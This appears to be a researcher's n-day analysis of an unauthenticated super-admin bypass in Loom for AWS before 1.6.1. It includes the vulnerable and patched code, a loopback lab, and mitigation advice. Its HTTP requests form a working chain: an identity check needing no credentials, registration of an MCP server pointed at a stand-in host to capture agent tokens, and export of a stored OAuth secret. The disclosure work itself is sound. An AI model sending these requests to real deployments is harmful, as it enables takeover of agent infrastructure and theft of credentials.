Research/cve-2026-103956-loom-unauth
N-dayCVE-2026-103956CriticalPublic

CVE-2026-103956: Loom for AWS unauthenticated super-admin

Loom for AWS before 1.6.1 grants every request t-admin / g-admins-super when Cognito is unset and no external IdP is active, including requests with no Authorization header. A fresh deploy is an open admin panel. Labbed on v1.6.0 against v1.6.1. Unauthenticated GET /api/auth/me returns local-dev. Unauthenticated MCP register plus export returns the planted OAuth secret.

Name
CVE-2026-103956: Loom for AWS unauthenticated super-admin
Type
N-day analysis
CVE
CVE-2026-103956
CVE Risk
critical
Disclosure Status
public
Vendor
AWS Labs
Affected
Loom for AWS < 1.6.1. Lab pin v1.6.0 (8c658d61). Fixed in v1.6.1 (ccad5665). No Cognito / no active external IdP. Unauthenticated.
Published
03 Oct 2026
Updated
04 Oct 2026
Tags
n-day, loom, aws, auth-bypass, cwe-306, cwe-1188, unauthenticated

no pool, no token, every scope

The proof of concept is on GitHub: abraxas/cve-2026-103956-loom-unauth (loopback client; @abraxas_null). The lab stack is lab/: Dockerfile, Dockerfile.patched, docker-compose.yml, run.sh, poc.py. Authorized lab only. It talks to loopback.

This is CVE-2026-103956 in Loom for AWS. AWS Labs. CWE-306 / CWE-1188. 10.0 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Unauthenticated. Patched in v1.6.1 (ccad5665, 2026-08-04). AWS recommends 1.7.0 for the sibling issues in the same bulletin. AWS credited Kenneth Cox through coordinated disclosure. I labbed the public CVE after the bulletin.

Loom is an open-source control plane for building, deploying, and operating AI agents on Amazon Bedrock AgentCore and AWS Strands. The backend is FastAPI. SQLite for local, Postgres/RDS in the cloud. Agents, memories, MCP tool servers, A2A remote agents, IAM-backed execution roles, integration credentials, and site settings all live behind one dependency: get_current_user in backend/app/dependencies/auth.py.

That function is supposed to read a Bearer token, check Cognito or an external IdP, map Cognito groups onto scopes, and hand the route a UserInfo. On every tag before 1.6.1, the empty-config path skipped the token. Completely. No header, garbage header, leftover Bearer with nothing after it: same result. A warning in the log, then a synthetic user named local-dev with every scope in the product.

The README's Phase 1 local path is SQLite plus Cognito. The hole is the window before that Cognito pool exists, or any later window where LOOM_COGNITO_USER_POOL_ID is blank and the identity_providers table has no status=active row. Fresh compose. Half-finished SAM deploy. Env file that never got the pool id. An IdP row that someone marked inactive. GHSA is explicit: this is the state of a freshly deployed instance, and of any instance whose IdP config becomes unreachable.

What an attacker can do

The attacker owns the agent control plane with zero credentials. Network reach to the FastAPI port is the whole prerequisite. Default listen in main.py is 8000. Published-port Docker, an ALB target, an ECS task with a public listener: same identity.

g-admins-super is the top admin group. GROUP_SCOPES gives it catalog, agent, memory, security, settings, tagging, costs, mcp, a2a, registry, invoke, and admin on both read and write. ALL_SCOPES is the union of every group in that map, and the bypass copies that set onto UserInfo.scopes. FastAPI require_scopes(...) then succeeds for every mounted router.

  • Walk in as super-admin. GET /api/auth/me with no Authorization header returns username=local-dev, sub=local, groups t-admin and g-admins-super. t-admin is the UI type. g-admins-super is the scope dump. The lab body was exactly {"username":"local-dev","sub":"local","groups":["t-admin","g-admins-super"]}.
  • Register tool servers. Unauthenticated POST /api/mcp/servers is 201. Point the endpoint at a host they control, set auth_type=oauth2, leave a client secret in SQLite. Agents that later call that MCP server send traffic and tokens to them. The same dependency sits in front of A2A remote-agent registration, agent CRUD, memory stores, security/authorizer config, site settings, credentials, and admin audit.
  • Read stored integration secrets. GET /api/mcp/servers/{id}/export requires admin:write. On v1.6.0 that export returns oauth2_client_secret from the database. List also shows description. I planted CVE-2026-103956-WITNESS as both the description and the secret; export handed the secret back. Anything an operator already saved (MCP OAuth, API keys, connector material) is in the same class of table.
  • Invoke agents and rewrite policy. invoke is in ALL_SCOPES. security:write and settings:write are too. The CVE text names rewriting IAM role policies attached to managed agent roles. That path talks to AWS. The loopback lab stayed on SQLite and did not call STS. The identity that would authorize those boto3 calls is the same local-dev super-admin.
  • Hit it on a published port. Fresh deploy, forgotten Cognito, inactive IdP row, or an env that dropped LOOM_COGNITO_USER_POOL_ID. The frontend is optional. curl is enough.

v1.6.1 requires LOOM_ALLOW_UNAUTHENTICATED_LOCAL_DEV in {1, true, yes} and request.client.host in {127.0.0.1, ::1, localhost}. Same /api/auth/me without that pair is 401 with {"detail":"No identity provider configured"}. A published-port container whose peer is Docker NAT (172.x) fails closed even if someone left the opt-in set.

How I found it

AWS posted the CVE with GHSA-vgmj-998f-r8mp and bulletin 2026-124-AWS. Release notes for v1.6.1 say the quiet part: the no-Cognito / no-IdP bypass used to activate automatically for any request, including unauthenticated ones, and silently grant super-admin. I wanted that sentence on a wire.

I pinned awslabs/loom v1.6.0 (8c658d61ca28d11bdc63c42d8f2787f1ed82e65c) next to v1.6.1 (ccad5665d89e659876f7175647b4a2b46e406ddf). Backend only. python:3.13-slim. Official Dockerfile layout: backend/app at /app/app, models.json / runtime_pricing.json / providers.json at /etc, uvicorn app.main:app on 0.0.0.0:8000. No frontend. No Cognito user pool. No LOOM_COGNITO_USER_POOL_ID. AWS_EC2_METADATA_DISABLED=true so the container did not wander over to IMDS. SQLite file created by init_db() on startup. Registry client init is wrapped in try/except and complained, then the API came up anyway.

Two compose services, loopback only:

  • 127.0.0.1:18180 -> v1.6.0
  • 127.0.0.1:18181 -> v1.6.1, opt-in unset

GET /health is unauthenticated on both. That is the ready probe, not the bug.

Then the identity check, still with no Authorization header:

HTTP
GET /api/auth/me HTTP/1.1
Host: 127.0.0.1:18180
Accept: application/json

v1.6.0 answered 200:

JSON
{"username":"local-dev","sub":"local","groups":["t-admin","g-admins-super"]}

That is the whole steal. From here every scoped route is an implementation detail.

I registered an MCP server as that identity. Create does not fetch the well-known URL, so there is no SSRF in this step and no need for a real MCP process:

HTTP
POST /api/mcp/servers HTTP/1.1
Host: 127.0.0.1:18180
Accept: application/json
Content-Type: application/json

{
  "name": "lab-mcp",
  "description": "CVE-2026-103956-WITNESS",
  "endpoint_url": "http://oracle.invalid/mcp",
  "transport_type": "sse",
  "auth_type": "oauth2",
  "oauth2_well_known_url": "http://oracle.invalid/.well-known/openid-configuration",
  "oauth2_client_id": "lab-client",
  "oauth2_client_secret": "CVE-2026-103956-WITNESS"
}

201, id=1, has_oauth2_secret=true. Then:

HTTP
GET /api/mcp/servers/1/export HTTP/1.1
Host: 127.0.0.1:18180
Accept: application/json

200, and the body included "oauth2_client_secret":"CVE-2026-103956-WITNESS". GET /api/mcp/servers listed the same witness in description.

On 18181 the identical /api/auth/me was 401. Create and export never ran there. That is the negative: same image family, same empty IdP, one tag later, fail closed.

Plain text
SUCCESS CVE-2026-103956 me-http=200 me-user=local-dev me-sub=local me-groups=t-admin,g-admins-super mcp-create=201 export-has-secret=yes list-has-witness=yes patched-me-http=401 CVE-2026-103956-WITNESS

Wrong turns already recorded: the official Dockerfile base public.ecr.aws/docker/library/python:3.13-slim was slower to pull than Docker Hub python:3.13-slim, so the lab image uses Hub; first /health on v1.6.0 was curl 52 (empty reply) while uvicorn was still binding, then 200 on the next wait tick; MCP create schema matched the OpenAPI fields on the first POST, so there was no 422 retry; init_db created tables without AWS; nothing in the environment accidentally set a user pool id, which would have flipped the vuln instance into 401 and looked like a miss. A reverse shell. Theatre. The oracle is /api/auth/me plus the exported secret.

Replay is cd lab && ./run.sh in the pack. It shallow-clones both tags, builds both backends, waits on /health, runs poc.py, then docker compose down -v.

empty IdP means everyone

Identity in Loom is two axes. t-admin / t-user pick the UI. g-admins-* / g-users-* grant scopes. A real admin is supposed to have exactly one g-admins-* group. The bypass skips that design and stuffs t-admin plus g-admins-super plus the union of every scope in the map.

Python
def get_current_user(request: Request) -> UserInfo:
    user_pool_id = os.getenv("LOOM_COGNITO_USER_POOL_ID", "")
    auth_header = request.headers.get("Authorization", "")
    token = auth_header[7:] if auth_header.startswith("Bearer ") else ""
    active_idp = _get_active_idp_cached()

    # Bypass mode - no Cognito and no external IdP configured
    if not user_pool_id and not active_idp:
        logger.warning("No identity provider configured; bypassing auth")
        return UserInfo(
            sub="local",
            username="local-dev",
            groups=["t-admin", "g-admins-super"],
            scopes=ALL_SCOPES.copy(),
            idp_type="local",
        )

    if not token:
        raise HTTPException(status_code=401, detail="Missing authorization token")

Read the order. Token is sliced out of the header, then ignored. The empty-IdP branch returns before if not token. idp_type="local" is a label, not a gate. _get_active_idp_cached looks for IdentityProvider.status == "active" in SQLite; a missing table row is None, same as a missing env var.

v1.6.1 keeps the synthetic user, behind two locks:

Python
if not user_pool_id and not active_idp:
    if _bypass_auth_enabled() and _is_loopback_request(request):
        return UserInfo(...)  # same local-dev super-admin
    raise HTTPException(status_code=401, detail="No identity provider configured")

_bypass_auth_enabled reads LOOM_ALLOW_UNAUTHENTICATED_LOCAL_DEV. _is_loopback_request checks request.client.host. Docker published-port NAT is outside that set. The comment in the patched file calls the old behavior an open admin panel. Accurate.

Upgrade to 1.6.1 or later. AWS's bulletin also ships CVE-2026-103957 (OAuth2 discovery token forwarding) and CVE-2026-103958 (SSRF-style outbound MCP/A2A fetches), both fixed in 1.7.0. 1.6.1 already put OAuth well-known fetches through net_guard.py; 1.7.0 finished the leftover disclosure. Until the upgrade lands: finish a Cognito pool or an active external IdP before the backend is reachable past loopback, and leave LOOM_ALLOW_UNAUTHENTICATED_LOCAL_DEV unset on anything that is not a laptop.

I am @abraxas_null. Site abraxaslabs.tech. GitHub abraxas. Mail abraxas.null@proton.me.

CVE-2026-103956: Loom for AWS unauthenticated super-admin · Abraxas Labs